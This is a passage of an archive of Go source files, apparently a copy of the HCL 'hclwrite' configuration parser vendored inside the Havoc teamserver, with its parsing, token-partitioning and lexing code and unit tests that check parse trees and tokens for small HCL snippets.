children.AppendNode(in) } before, labelsNode, from := parseBlockLabels(nativeBlock, from) block.labels = labelsNode children.AppendNode(labelsNode) before, oBrace, from := from.Partition(nativeBlock.OpenBraceRange) children.AppendUnstructuredTokens(before.Tokens()) block.open = children.AppendUnstructuredTokens(oBrace.Tokens()) // We go a bit out of order here: we go hunting for the closing brace // so that we have a delimited body, but then we'll deal with the body // before we actually append the closing brace and any straggling tokens // that appear after it. bodyTokens, cBrace, from := from.Partition(nativeBlock.CloseBraceRange) before, body, after := parseBody(nativeBlock.Body, bodyTokens) children.AppendUnstructuredTokens(before.Tokens()) block.body = body children.AppendNode(body) children.AppendUnstructuredTokens(after.Tokens()) block.close = children.AppendUnstructuredTokens(cBrace.Tokens()) // stragglers children.AppendUnstructuredTokens(from.Tokens()) if lineComments.Len() > 0 { // blocks don't actually have line comments, so we'll just treat // them as extra stragglers children.AppendUnstructuredTokens(lineComments.Tokens()) } children.AppendUnstructuredTokens(newline.Tokens()) return newNode(block) } func parseBlockLabels(nativeBlock *hclsyntax.Block, from inputTokens) (inputTokens, *node, inputTokens) { labelsObj := newBlockLabels(nil) children := labelsObj.children var beforeAll inputTokens for i, rng := range nativeBlock.LabelRanges { var before, labelTokens inputTokens before, labelTokens, from = from.Partition(rng) if i == 0 { beforeAll = before } else { children.AppendUnstructuredTokens(before.Tokens()) } tokens := labelTokens.Tokens() var ln *node if len(tokens) == 1 && tokens[0].Type == hclsyntax.TokenIdent { ln = newNode(newIdentifier(tokens[0])) } else { ln = newNode(newQuoted(tokens)) } labelsObj.items.Add(ln) children.AppendNode(ln) } after := from return beforeAll, newNode(labelsObj), after } func parseExpression(nativeExpr hclsyntax.Expression, from inputTokens) *node { expr := newExpression() children := expr.inTree.children nativeVars := nativeExpr.Variables() for _, nativeTraversal := range nativeVars { before, traversal, after := parseTraversal(nativeTraversal, from) children.AppendUnstructuredTokens(before.Tokens()) children.AppendNode(traversal) expr.absTraversals.Add(traversal) from = after } // Attach any stragglers that don't belong to a traversal to the expression // itself. In an expression with no traversals at all, this is just the // entirety of "from". children.AppendUnstructuredTokens(from.Tokens()) return newNode(expr) } func parseTraversal(nativeTraversal hcl.Traversal, from inputTokens) (before inputTokens, n *node, after inputTokens) { traversal := newTraversal() children := traversal.inTree.children before, from, after = from.Partition(nativeTraversal.SourceRange()) stepAfter := from for _, nativeStep := range nativeTraversal { before, step, after := parseTraversalStep(nativeStep, stepAfter) children.AppendUnstructuredTokens(before.Tokens()) children.AppendNode(step) traversal.steps.Add(step) stepAfter = after } return before, newNode(traversal), after } func parseTraversalStep(nativeStep hcl.Traverser, from inputTokens) (before inputTokens, n *node, after inputTokens) { var children *nodes switch tNativeStep := nativeStep.(type) { case hcl.TraverseRoot, hcl.TraverseAttr: step := newTraverseName() children = step.inTree.children before, from, after = from.Partition(nativeStep.SourceRange()) inBefore, token, inAfter := from.PartitionTypeSingle(hclsyntax.TokenIdent) name := newIdentifier(token) children.AppendUnstructuredTokens(inBefore.Tokens()) step.name = children.Append(name) children.AppendUnstructuredTokens(inAfter.Tokens()) return before, newNode(step), after case hcl.TraverseIndex: step := newTraverseIndex() children = step.inTree.children before, from, after = from.Partition(nativeStep.SourceRange()) if inBefore, dot, from, ok := from.PartitionTypeOk(hclsyntax.TokenDot); ok { children.AppendUnstructuredTokens(inBefore.Tokens()) children.AppendUnstructuredTokens(dot.Tokens()) valBefore, valToken, valAfter := from.PartitionTypeSingle(hclsyntax.TokenNumberLit) children.AppendUnstructuredTokens(valBefore.Tokens()) key := newNumber(valToken) step.key = children.Append(key) children.AppendUnstructuredTokens(valAfter.Tokens()) return before, newNode(step), after } var inBefore, oBrack, keyTokens, cBrack inputTokens inBefore, oBrack, from = from.PartitionType(hclsyntax.TokenOBrack) children.AppendUnstructuredTokens(inBefore.Tokens()) children.AppendUnstructuredTokens(oBrack.Tokens()) keyTokens, cBrack, from = from.PartitionType(hclsyntax.TokenCBrack) keyVal := tNativeStep.Key switch keyVal.Type() { case cty.String: key := newQuoted(keyTokens.Tokens()) step.key = children.Append(key) case cty.Number: valBefore, valToken, valAfter := keyTokens.PartitionTypeSingle(hclsyntax.TokenNumberLit) children.AppendUnstructuredTokens(valBefore.Tokens()) key := newNumber(valToken) step.key = children.Append(key) children.AppendUnstructuredTokens(valAfter.Tokens()) } children.AppendUnstructuredTokens(cBrack.Tokens()) children.AppendUnstructuredTokens(from.Tokens()) return before, newNode(step), after default: panic(fmt.Sprintf("unsupported traversal step type %T", nativeStep)) } } // writerTokens takes a sequence of tokens as produced by the main hclsyntax // package and transforms it into an equivalent sequence of tokens using // this package's own token model. // // The resulting list contains the same number of tokens and uses the same // indices as the input, allowing the two sets of tokens to be correlated // by index. func writerTokens(nativeTokens hclsyntax.Tokens) Tokens { // Ultimately we want a slice of token _pointers_, but since we can // predict how much memory we're going to devote to tokens we'll allocate // it all as a single flat buffer and thus give the GC less work to do. tokBuf := make([]Token, len(nativeTokens)) var lastByteOffset int for i, mainToken := range nativeTokens { // Create a copy of the bytes so that we can mutate without // corrupting the original token stream. bytes := make([]byte, len(mainToken.Bytes)) copy(bytes, mainToken.Bytes) tokBuf[i] = Token{ Type: mainToken.Type, Bytes: bytes, // We assume here that spaces are always ASCII spaces, since // that's what the scanner also assumes, and thus the number // of bytes skipped is also the number of space characters. SpacesBefore: mainToken.Range.Start.Byte - lastByteOffset, } lastByteOffset = mainToken.Range.End.Byte } // Now make a slice of pointers into the previous slice. ret := make(Tokens, len(tokBuf)) for i := range ret { ret[i] = &tokBuf[i] } return ret } // partitionTokens takes a sequence of tokens and a hcl.Range and returns // two indices within the token sequence that correspond with the range // boundaries, such that the slice operator could be used to produce // three token sequences for before, within, and after respectively: // // start, end := partitionTokens(toks, rng) // before := toks[:start] // within := toks[start:end] // after := toks[end:] // // This works best when the range is aligned with token boundaries (e.g. // because it was produced in terms of the scanner's result) but if that isn't // true then it will make a best effort that may produce strange results at // the boundaries. // // Native hclsyntax tokens are used here, because they contain the necessary // absolute position information. However, since writerTokens produces a // correlatable sequence of writer tokens, the resulting indices can be // used also to index into its result, allowing the partitioning of writer // tokens to be driven by the partitioning of native tokens. // // The tokens are assumed to be in source order and non-overlapping, which // will be true if the token sequence from the scanner is used directly. func partitionTokens(toks hclsyntax.Tokens, rng hcl.Range) (start, end int) { // We use a linear search here because we assume that in most cases our // target range is close to the beginning of the sequence, and the sequences // are generally small for most reasonable files anyway. for i := 0; ; i++ { if i >= len(toks) { // No tokens for the given range at all! return len(toks), len(toks) } if toks[i].Range.Start.Byte >= rng.Start.Byte { start = i break } } for i := start; ; i++ { if i >= len(toks) { // The range "hangs off" the end of the token sequence return start, len(toks) } if toks[i].Range.Start.Byte >= rng.End.Byte { end = i // end marker is exclusive break } } return start, end } // partitionLeadCommentTokens takes a sequence of tokens that is assumed // to immediately precede a construct that can have lead comment tokens, // and returns the index into that sequence where the lead comments begin. // // Lead comments are defined as whole lines containing only comment tokens // with no blank lines between. If no such lines are found, the returned // index will be len(toks). func partitionLeadCommentTokens(toks hclsyntax.Tokens) int { // single-line comments (which is what we're interested in here) // consume their trailing newline, so we can just walk backwards // until we stop seeing comment tokens. for i := len(toks) - 1; i >= 0; i-- { if toks[i].Type != hclsyntax.TokenComment { return i + 1 } } return 0 } // partitionLineEndTokens takes a sequence of tokens that is assumed // to immediately follow a construct that can have a line comment, and // returns first the index where any line comments end and then second // the index immediately after the trailing newline. // // Line comments are defined as comments that appear immediately after // a construct on the same line where its significant tokens ended. // // Since single-line comment tokens (# and //) include the newline that // terminates them, in the presence of these the two returned indices // will be the same since the comment itself serves as the line end. func partitionLineEndTokens(toks hclsyntax.Tokens) (afterComment, afterNewline int) { for i := 0; i < len(toks); i++ { tok := toks[i] if tok.Type != hclsyntax.TokenComment { switch tok.Type { case hclsyntax.TokenNewline: return i, i + 1 case hclsyntax.TokenEOF: // Although this is valid, we mustn't include the EOF // itself as our "newline" or else strange things will // happen when we try to append new items. return i, i default: // If we have well-formed input here then nothing else should be // possible. This path should never happen, because we only try // to extract tokens from the sequence if the parser succeeded, // and it should catch this problem itself. panic("malformed line trailers: expected only comments and newlines") } } if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { // Newline at the end of a single-line comment serves both as // the end of comments *and* the end of the line. return i + 1, i + 1 } } return len(toks), len(toks) } // lexConfig uses the hclsyntax scanner to get a token stream and then // rewrites it into this package's token model. // // Any errors produced during scanning are ignored, so the results of this // function should be used with care. func lexConfig(src []byte) Tokens { mainTokens, _ := hclsyntax.LexConfig(src, "", hcl.Pos{Byte: 0, Line: 1, Column: 1}) return writerTokens(mainTokens) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/parser_test.go000066400000000000000000001665471467014221700275430ustar00rootroot00000000000000package hclwrite import ( "fmt" "reflect" "testing" "github.com/davecgh/go-spew/spew" "github.com/google/go-cmp/cmp" "github.com/kylelemons/godebug/pretty" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestParse(t *testing.T) { tests := []struct { src string want TestTreeNode }{ { "", TestTreeNode{ Type: "Body", }, }, { "a = 1\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "# aye aye aye\na = 1\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", Val: "# aye aye aye\n", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = 1 # because it is\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", Val: " # because it is\n", }, }, }, }, }, }, { "# bee bee bee\n\nb = 1\n", // two newlines separate the comment from the attribute TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Tokens", // Only lead/line comments attached to an object have type "comments" Val: "# bee bee bee\n\n", }, { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", Val: "", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = (\n 1 + 2\n)\nb = 3\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ {Type: "comments"}, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " (\n 1 + 2\n)", }, }, }, {Type: "comments"}, { Type: "Tokens", Val: "\n", }, }, }, { Type: "Attribute", Children: []TestTreeNode{ {Type: "comments"}, { Type: "identifier", Val: "b", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 3", }, }, }, {Type: "comments"}, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b label {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "identifier", Val: " label", }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b \"label\" {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "quoted", Val: ` "label"`, }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b \"label1\" /* foo */ \"label2\" {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "quoted", Val: ` "label1"`, }, { // The comment between the labels just // becomes an "unstructured tokens" // node, because this isn't a place // where we expect comments to attach // to a particular object as // documentation. Type: "Tokens", Val: ` /* foo */`, }, { Type: "quoted", Val: ` "label2"`, }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b {\n a = 1\n}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", }, { Type: "Tokens", Val: " {", }, { Type: "Body", Children: []TestTreeNode{ { Type: "Tokens", Val: "\n", }, { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: " a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseName", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "identifier", Val: "bar", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[0]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseIndex", Children: []TestTreeNode{ { Type: "Tokens", Val: "[", }, { Type: "number", Val: "0", }, { Type: "Tokens", Val: "]", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.0\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseIndex", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "number", Val: "0", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.*\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: ".*", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.*.bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: ".*.bar", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[*]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[*]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[*].bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[*].bar", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, }, }, { Type: "Tokens", Val: "]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar.baz]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, { Type: "TraverseName", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "identifier", Val: "baz", }, }, }, }, }, { Type: "Tokens", Val: "]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar].baz\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, }, }, { Type: "Tokens", Val: "].baz", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, } for _, test := range tests { t.Run(test.src, func(t *testing.T) { file, diags := parse([]byte(test.src), "", hcl.Pos{Line: 1, Column: 1}) if len(diags) > 0 { for _, diag := range diags { t.Logf(" - %s", diag.Error()) } t.Fatalf("unexpected diagnostics") } got := makeTestTree(file.body) if !cmp.Equal(got, test.want) { diff := cmp.Diff(got, test.want) t.Errorf( "wrong result\ninput:\n%s\n\ngot:\n%s\nwant:%s\n\ndiff:\n%s", test.src, spew.Sdump(got), spew.Sdump(test.want), diff, ) } }) } } func TestPartitionTokens(t *testing.T) { tests := []struct { tokens hclsyntax.Tokens rng hcl.Range wantStart int wantEnd int }{ { hclsyntax.Tokens{}, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 0}, }, 0, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, 0, 1, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, 1, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 8}, }, 0, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 12}, }, 1, 3, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { gotStart, gotEnd := partitionTokens(test.tokens, test.rng) if gotStart != test.wantStart || gotEnd != test.wantEnd { t.Errorf( "wrong result\ntokens: %s\nrange: %#v\ngot: %d, %d\nwant: %d, %d", prettyConfig.Sprint(test.tokens), test.rng, gotStart, test.wantStart, gotEnd, test.wantEnd, ) } }) } } func TestPartitionLeadCommentTokens(t *testing.T) { tests := []struct { tokens hclsyntax.Tokens wantStart int }{ { hclsyntax.Tokens{}, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, }, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenComment, }, }, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenNewline, }, }, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenNewline, }, { Type: hclsyntax.TokenComment, }, }, 2, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { gotStart := partitionLeadCommentTokens(test.tokens) if gotStart != test.wantStart { t.Errorf( "wrong result\ntokens: %s\ngot: %d\nwant: %d", prettyConfig.Sprint(test.tokens), gotStart, test.wantStart, ) } }) } } func TestLexConfig(t *testing.T) { tests := []struct { input string want Tokens }{ { `a b `, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`a`), SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`b`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEOF, Bytes: []byte{}, SpacesBefore: 1, }, }, }, { ` foo "bar" "baz" { pizza = " cheese " } `, Tokens{ { Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`bar`), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`baz`), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`pizza`), SpacesBefore: 4, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(` cheese `), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), SpacesBefore: 0, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenEOF, Bytes: []byte{}, SpacesBefore: 0, }, }, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for _, test := range tests { t.Run(test.input, func(t *testing.T) { got := lexConfig([]byte(test.input)) if !reflect.DeepEqual(got, test.want) { diff := prettyConfig.Compare(test.want, got) t.Errorf( "wrong result\ninput: %s\ndiff: %s", test.input, diff, ) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/public.go000066400000000000000000000024421467014221700264450ustar00rootroot00000000000000package hclwrite import ( "bytes" "Havoc/pkg/profile/yaotl" ) // NewFile creates a new file object that is empty and ready to have constructs // added t it. func NewFile() *File { body := &Body{ inTree: newInTree(), items: newNodeSet(), } file := &File{ inTree: newInTree(), } file.body = file.inTree.children.Append(body) return file } // ParseConfig interprets the given source bytes into a *hclwrite.File. The // resulting AST can be used to perform surgical edits on the source code // before turning it back into bytes again. func ParseConfig(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { return parse(src, filename, start) } // Format takes source code and performs simple whitespace changes to transform // it to a canonical layout style. // // Format skips constructing an AST and works directly with tokens, so it // is less expensive than formatting via the AST for situations where no other // changes will be made. It also ignores syntax errors and can thus be applied // to partial source code, although the result in that case may not be // desirable. func Format(src []byte) []byte { tokens := lexConfig(src) format(tokens) buf := &bytes.Buffer{} tokens.WriteTo(buf) return buf.Bytes() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/round_trip_test.go000066400000000000000000000116431467014221700304160ustar00rootroot00000000000000package hclwrite import ( "bytes" "testing" "github.com/sergi/go-diff/diffmatchpatch" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" "github.com/zclconf/go-cty/cty/function/stdlib" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestRoundTripVerbatim(t *testing.T) { tests := []string{ ``, `foo = 1 `, ` foobar = 1 baz = 1 `, ` # this file is awesome # tossed salads and scrambled eggs foobar = 1 baz = 1 block { a = "a" b = "b" c = "c" d = "d" subblock { } subblock { e = "e" } } # and they all lived happily ever after `, } for _, test := range tests { t.Run(test, func(t *testing.T) { src := []byte(test) file, diags := parse(src, "", hcl.Pos{Line: 1, Column: 1}) if len(diags) != 0 { for _, diag := range diags { t.Logf(" - %s", diag.Error()) } t.Fatalf("unexpected diagnostics") } wr := &bytes.Buffer{} n, err := file.WriteTo(wr) if n != int64(len(test)) { t.Errorf("wrong number of bytes %d; want %d", n, len(test)) 